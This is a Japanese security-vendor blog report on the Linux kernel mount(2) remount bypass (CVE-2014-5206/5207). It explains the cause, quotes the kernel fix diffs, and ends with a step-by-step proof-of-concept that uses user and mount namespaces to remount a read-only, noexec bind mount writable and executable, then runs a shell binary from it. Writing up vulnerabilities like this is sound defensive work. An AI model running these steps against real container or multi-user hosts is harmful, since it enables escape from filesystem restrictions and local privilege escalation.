スマートフォン解析 top

TOP > タイガーチームセキュリティレポート > Linux Kernel mount(2)のSecurity Bypass(CVE-2014-5206 CVE-2014-5207)

タイガーチームセキュリティレポート

Linux Kernel mount(2)のSecurity Bypass(CVE-2014-5206 CVE-2014-5207)

今回はmount(2)に関する双子の脆弱性CVE-2014-5206とCVE-2014-5207を検証してみました。これらはro, noexec, nodev, nosuid, noatime等の制限付きでmountされたfilesystemに対し一般ユーザがremountで制限を回避した状態でアクセスすることができるものです。


-影響-

3.16.1までのLinux Kernelがこの脆弱性の影響を受けます。攻撃者がこれを悪用するとローカルでの権限昇格またはDoS攻撃につながる可能性があります。特に、LXC等のContainer環境において、roでbind mountされたContainer外のディレクトリをContainer内から変更される可能性があります。


-原因-

まずは、CVE-2014-5206の原因についてみてみます。

roでmountされたfilesystemを一般ユーザがcloneすると、そのfilesystemはrwでremountできないようにlockが設定されます(MNT_LOCK_READONLY)。roなfilesystemが再びroでremountされるとこのlockはclearされたため、rwでremountすることができました。それがこの問題の原因です。

remountの際に引き継がれるflagを修正することで対策されました。

diff --git a/fs/namespace.c b/fs/namespace.c
index 7187d01..cb40449 100644
--- a/fs/namespace.c
+++ b/fs/namespace.c
@@ -1937,7 +1937,7 @@ static int do_remount(struct path *path, int flags, int mnt_flags,
 		err = do_remount_sb(sb, flags, data, 0);
 	if (!err) {
 		lock_mount_hash();
-		mnt_flags |= mnt->mnt.mnt_flags & MNT_PROPAGATION_MASK;
+		mnt_flags |= mnt->mnt.mnt_flags & ~MNT_USER_SETTABLE_MASK;
 		mnt->mnt.mnt_flags = mnt_flags;
 		touch_mnt_namespace(mnt->mnt_ns);
 		unlock_mount_hash();

diff --git a/include/linux/mount.h b/include/linux/mount.h
index 839bac2..b637a89 100644
--- a/include/linux/mount.h
+++ b/include/linux/mount.h
@@ -42,7 +42,9 @@ struct mnt_namespace;
  * flag, consider how it interacts with shared mounts.
  */
 #define MNT_SHARED_MASK	(MNT_UNBINDABLE)
-#define MNT_PROPAGATION_MASK	(MNT_SHARED | MNT_UNBINDABLE)
+#define MNT_USER_SETTABLE_MASK  (MNT_NOSUID | MNT_NODEV | MNT_NOEXEC \
+				 | MNT_NOATIME | MNT_NODIRATIME | MNT_RELATIME \
+				 | MNT_READONLY)
 
 #define MNT_INTERNAL_FLAGS (MNT_SHARED | MNT_WRITE_HOLD | MNT_INTERNAL | \
 			    MNT_DOOMED | MNT_SYNC_UMOUNT | MNT_MARKED)
kernel/git/torvalds/linux.git

また、noexec, nodev, nosuid, noatime等のflagには対応するlockがなかったため、攻撃者はremountしてこれらを解除することができました。これがCVE-2014-5207です。

対応するlock(MNT_LOCK_NOEXEC, MNT_LOCK_NODEV, MNT_LOCK_NOSUID, MNT_LOCK_ATIME等)を追加し、remountの際にチェックするように対策されました。

diff --git a/fs/namespace.c b/fs/namespace.c
index 1105a57..dd9c93b 100644
--- a/fs/namespace.c
+++ b/fs/namespace.c
@@ -890,8 +890,21 @@ static struct mount *clone_mnt(struct mount *old, struct dentry *root,
 
 	mnt->mnt.mnt_flags = old->mnt.mnt_flags & ~(MNT_WRITE_HOLD|MNT_MARKED);
 	/* Don't allow unprivileged users to change mount flags */
-	if ((flag & CL_UNPRIVILEGED) && (mnt->mnt.mnt_flags & MNT_READONLY))
-		mnt->mnt.mnt_flags |= MNT_LOCK_READONLY;
+	if (flag & CL_UNPRIVILEGED) {
+		mnt->mnt.mnt_flags |= MNT_LOCK_ATIME;
+
+		if (mnt->mnt.mnt_flags & MNT_READONLY)
+			mnt->mnt.mnt_flags |= MNT_LOCK_READONLY;
+
+		if (mnt->mnt.mnt_flags & MNT_NODEV)
+			mnt->mnt.mnt_flags |= MNT_LOCK_NODEV;
+
+		if (mnt->mnt.mnt_flags & MNT_NOSUID)
+			mnt->mnt.mnt_flags |= MNT_LOCK_NOSUID;
+
+		if (mnt->mnt.mnt_flags & MNT_NOEXEC)
+			mnt->mnt.mnt_flags |= MNT_LOCK_NOEXEC;
+	}
 
 	/* Don't allow unprivileged users to reveal what is under a mount */
 	if ((flag & CL_UNPRIVILEGED) && list_empty(&old->mnt_expire))
@@ -1931,6 +1944,23 @@ static int do_remount(struct path *path, int flags, int mnt_flags,
 	    !(mnt_flags & MNT_READONLY)) {
 		return -EPERM;
 	}
+	if ((mnt->mnt.mnt_flags & MNT_LOCK_NODEV) &&
+	    !(mnt_flags & MNT_NODEV)) {
+		return -EPERM;
+	}
+	if ((mnt->mnt.mnt_flags & MNT_LOCK_NOSUID) &&
+	    !(mnt_flags & MNT_NOSUID)) {
+		return -EPERM;
+	}
+	if ((mnt->mnt.mnt_flags & MNT_LOCK_NOEXEC) &&
+	    !(mnt_flags & MNT_NOEXEC)) {
+		return -EPERM;
+	}
+	if ((mnt->mnt.mnt_flags & MNT_LOCK_ATIME) &&
+	    ((mnt->mnt.mnt_flags & MNT_ATIME_MASK) != (mnt_flags & MNT_ATIME_MASK))) {
+		return -EPERM;
+	}
+
 	err = security_sb_remount(sb, data);
 	if (err)
 		return err;
@@ -2129,7 +2159,7 @@ static int do_new_mount(struct path *path, const char *fstype, int flags,
 		 */
 		if (!(type->fs_flags & FS_USERNS_DEV_MOUNT)) {
 			flags |= MS_NODEV;
-			mnt_flags |= MNT_NODEV;
+			mnt_flags |= MNT_NODEV | MNT_LOCK_NODEV;
 		}
 	}
 
diff --git a/include/linux/mount.h b/include/linux/mount.h
index b637a89..b0c1e65 100644
--- a/include/linux/mount.h
+++ b/include/linux/mount.h
@@ -45,12 +45,17 @@ struct mnt_namespace;
 #define MNT_USER_SETTABLE_MASK  (MNT_NOSUID | MNT_NODEV | MNT_NOEXEC \
 				 | MNT_NOATIME | MNT_NODIRATIME | MNT_RELATIME \
 				 | MNT_READONLY)
+#define MNT_ATIME_MASK (MNT_NOATIME | MNT_NODIRATIME | MNT_RELATIME )
 
 #define MNT_INTERNAL_FLAGS (MNT_SHARED | MNT_WRITE_HOLD | MNT_INTERNAL | \
 			    MNT_DOOMED | MNT_SYNC_UMOUNT | MNT_MARKED)
 
 #define MNT_INTERNAL	0x4000
 
+#define MNT_LOCK_ATIME		0x040000
+#define MNT_LOCK_NOEXEC		0x080000
+#define MNT_LOCK_NOSUID		0x100000
+#define MNT_LOCK_NODEV		0x200000
 #define MNT_LOCK_READONLY	0x400000
 #define MNT_LOCKED		0x800000
 #define MNT_DOOMED		0x1000000
kernel/git/torvalds/linux.git


-検証-

ここではro, noexecでbind mountしたfilesystemをuid 1000の一般ユーザ(acruel)でremountして実行ファイル"shell"を作成し、これを実行する手順を検証します。

以下ではUbuntu 14.04で検証しています。作業ディレクトリは常に/home/acruel/workです。

acruel@trusty:~/work$ uname -a
Linux trusty 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
acruel@trusty:~/work$ sudo mount --bind /home /mnt
acruel@trusty:~/work$ sudo mount -o remount,ro,noexec /mnt
acruel@trusty:~/work$ mount
/dev/sda1 on / type ext4 (rw,errors=remount-ro)
proc on /proc type proc (rw,noexec,nosuid,nodev)
sysfs on /sys type sysfs (rw,noexec,nosuid,nodev)
none on /sys/fs/cgroup type tmpfs (rw)
none on /sys/fs/fuse/connections type fusectl (rw)
none on /sys/kernel/debug type debugfs (rw)
none on /sys/kernel/security type securityfs (rw)
udev on /dev type devtmpfs (rw,mode=0755)
devpts on /dev/pts type devpts (rw,noexec,nosuid,gid=5,mode=0620)
tmpfs on /run type tmpfs (rw,noexec,nosuid,size=10%,mode=0755)
none on /run/lock type tmpfs (rw,noexec,nosuid,nodev,size=5242880)
none on /run/shm type tmpfs (rw,nosuid,nodev)
none on /run/user type tmpfs (rw,noexec,nosuid,nodev,size=104857600,mode=0755)
none on /sys/fs/pstore type pstore (rw)
/home on /mnt type none (ro,noexec,bind)
acruel@trusty:~/work$ 

/mntの上に/homeをro, noexecでmountしました。次に、mount, user namespaceを分離し、新しいnamespaceでこれをremountしてみます。

namespaceの分離のためにuserns_child_execを使います。-mと-Uはそれぞれmount namespaceとuser namespaceを分離するためのスイッチです。ここでは新しいnamespaceのroot (uid 0)を親namespaceのacruel (uid 1000)にmappingします。

acruel@trusty:~/work$ ls
userns_child_exec
acruel@trusty:~/work$ ./userns_child_exec -m -U -M '0 1000 1' -G '0 1000 1' bash
root@trusty:~/work# touch /mnt/acruel/work/foobar
touch: cannot touch ‘/mnt/acruel/work/foobar’: Read-only file system
root@trusty:~/work# mount -o remount,ro /mnt
root@trusty:~/work# mount -o remount,rw,exec /mnt
root@trusty:~/work# 

remountする前は/mnt/acruel/workディレクトリへの書き込みに失敗しています。その後、/mntをroでremountし、さらにrw, noexecでremountしました。エラーが出ていないのでremountは成功していると考えられます。

この時点で/mnt/acruel/workは親namespaceから書き込み可能になったはずなので、実行ファイルを作成してみます。

root@trusty:~/work# cat << EOF > /mnt/acruel/work/shell.c
> int main() {
>     execl("/bin/bash", "-sh", 0);
> }
> EOF
root@trusty:~/work# ls
shell.c  userns_child_exec
root@trusty:~/work# gcc shell.c -o /mnt/acruel/work/shell
shell.c: In function ‘main’:
shell.c:2:5: warning: incompatible implicit declaration of built-in function ‘execl’ [enabled by default]
     execl("/bin/bash", "-sh", 0);
     ^
shell.c:2:5: warning: missing sentinel in function call [-Wformat=]
root@trusty:~/work# ls
shell  shell.c  userns_child_exec
root@trusty:~/work# echo $$
3056
root@trusty:~/work# /mnt/acruel/work/shell
root@trusty:~/work# echo $$
3186
root@trusty:~/work# exit
logout
root@trusty:~/work#

成功です ro, noexecなfilesystemに対して実行ファイル"shell"を書き込み、(pid 3186で)実行することができました。mount namespaceを分離していますので、当然ながら親namespaceでは/mntがro, noexecのままになっています。

root@trusty:~/work# exit
exit
acruel@trusty:~/work$ mount
/dev/sda1 on / type ext4 (rw,errors=remount-ro)
proc on /proc type proc (rw,noexec,nosuid,nodev)
sysfs on /sys type sysfs (rw,noexec,nosuid,nodev)
none on /sys/fs/cgroup type tmpfs (rw)
none on /sys/fs/fuse/connections type fusectl (rw)
none on /sys/kernel/debug type debugfs (rw)
none on /sys/kernel/security type securityfs (rw)
udev on /dev type devtmpfs (rw,mode=0755)
devpts on /dev/pts type devpts (rw,noexec,nosuid,gid=5,mode=0620)
tmpfs on /run type tmpfs (rw,noexec,nosuid,size=10%,mode=0755)
none on /run/lock type tmpfs (rw,noexec,nosuid,nodev,size=5242880)
none on /run/shm type tmpfs (rw,nosuid,nodev)
none on /run/user type tmpfs (rw,noexec,nosuid,nodev,size=104857600,mode=0755)
none on /sys/fs/pstore type pstore (rw)
/home on /mnt type none (ro,noexec,bind)
acruel@trusty:~/work$ 

検証は以上です。nodev, nosuid, noatime等の制限も同じ方法で回避することが可能です。namespaceに関連した脆弱性は今後も見つかりそうな気がしますので、今後も注目していきたいと思います。


参考情報:
[1] Sandstorm vs. Kernel Exploits
https://blog.sandstorm.io/news/2014-08-13-sandbox-security.html
[2] oss-security - CVE Request: ro bind mount bypass using user namespaces
http://www.openwall.com/lists/oss-security/2014/08/12/6
[3] mnt: Only change user settable mount flags in remount
http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=a6138db815df5ee542d848318e5dae681590fccd
[4] mnt: Correct permission checks in do_remount
https://git.kernel.org/cgit/linux/kernel/git/ebiederm/user-namespace.git/commit/?h=for-linus&id=9566d6742852c527bf5af38af5cbb878dad75705
[5] JVNDB-2014-003839
http://jvndb.jvn.jp/ja/contents/2014/JVNDB-2014-003839.html
[6] JVNDB-2014-003840
http://jvndb.jvn.jp/ja/contents/2014/JVNDB-2014-003840.html


タイガーチームメンバー 塚本 泰三